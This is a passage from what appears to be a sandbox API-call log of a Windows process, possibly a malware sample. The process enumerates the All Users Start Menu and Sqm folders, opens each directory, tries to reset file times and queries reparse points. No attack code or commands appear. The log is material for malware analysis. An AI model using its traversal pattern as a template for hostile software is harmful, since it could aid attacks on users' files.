(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.950] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 1 [0091.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.950] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Upload" (normalized: "c:\\users\\all users\\microsoft\\windows\\sqm\\upload"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.950] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Upload" (normalized: "c:\\users\\all users\\microsoft\\windows\\sqm\\upload"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.951] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.951] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.951] NtClose (Handle=0x15c) returned 0x0 [0091.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbfc0 [0091.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc048 [0091.952] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Upload\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0091.952] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.953] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.953] GetLastError () returned 0x12 [0091.953] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Upload\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9180 [0091.953] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.953] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.953] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.953] GetLastError () returned 0x12 [0091.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc048) returned 1 [0091.953] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbfc0) returned 1 [0091.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.954] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 0 [0091.954] GetLastError () returned 0x12 [0091.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.954] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.955] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="")) returned 1 [0091.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.955] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0091.955] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0091.955] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.956] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.956] NtClose (Handle=0x16c) returned 0x0 [0091.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.957] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0091.957] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.957] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cc35f15, ftCreationTime.dwHighDateTime=0x1ca0440, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x502, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default Programs.lnk", cAlternateFileName="")) returned 1 [0091.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a568 [0091.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7ed8 [0091.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a358 [0091.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.960] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f5a4e15, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f5a4e15, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0091.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7ef8 [0091.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.962] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0091.962] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x7f57ecb5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Update.lnk", cAlternateFileName="")) returned 1 [0091.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7f18 [0091.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1367b30 [0091.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.964] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x7f57ecb5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Update.lnk", cAlternateFileName="")) returned 0 [0091.964] GetLastError () returned 0x12 [0091.964] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0091.964] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.964] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.964] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cc35f15, ftCreationTime.dwHighDateTime=0x1ca0440, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x502, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default Programs.lnk", cAlternateFileName="")) returned 1 [0091.964] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f5a4e15, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f5a4e15, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0091.964] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0091.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.964] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0091.965] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0091.965] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.965] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.966] NtClose (Handle=0x16c) returned 0x0 [0091.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbfc0 [0091.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc048 [0091.967] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0091.967] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.967] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="")) returned 1 [0091.967] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrative Tools", cAlternateFileName="")) returned 1 [0091.967] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c01860, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c01860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c01860, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x989, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Reader X.lnk", cAlternateFileName="")) returned 1 [0091.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0091.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbfc0) returned 1 [0091.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7f38 [0091.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368370 [0091.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.970] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0091.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0091.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7f58 [0091.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368478 [0091.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0091.972] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Games", cAlternateFileName="")) returned 1 [0091.972] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df47e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df47e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df47e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", 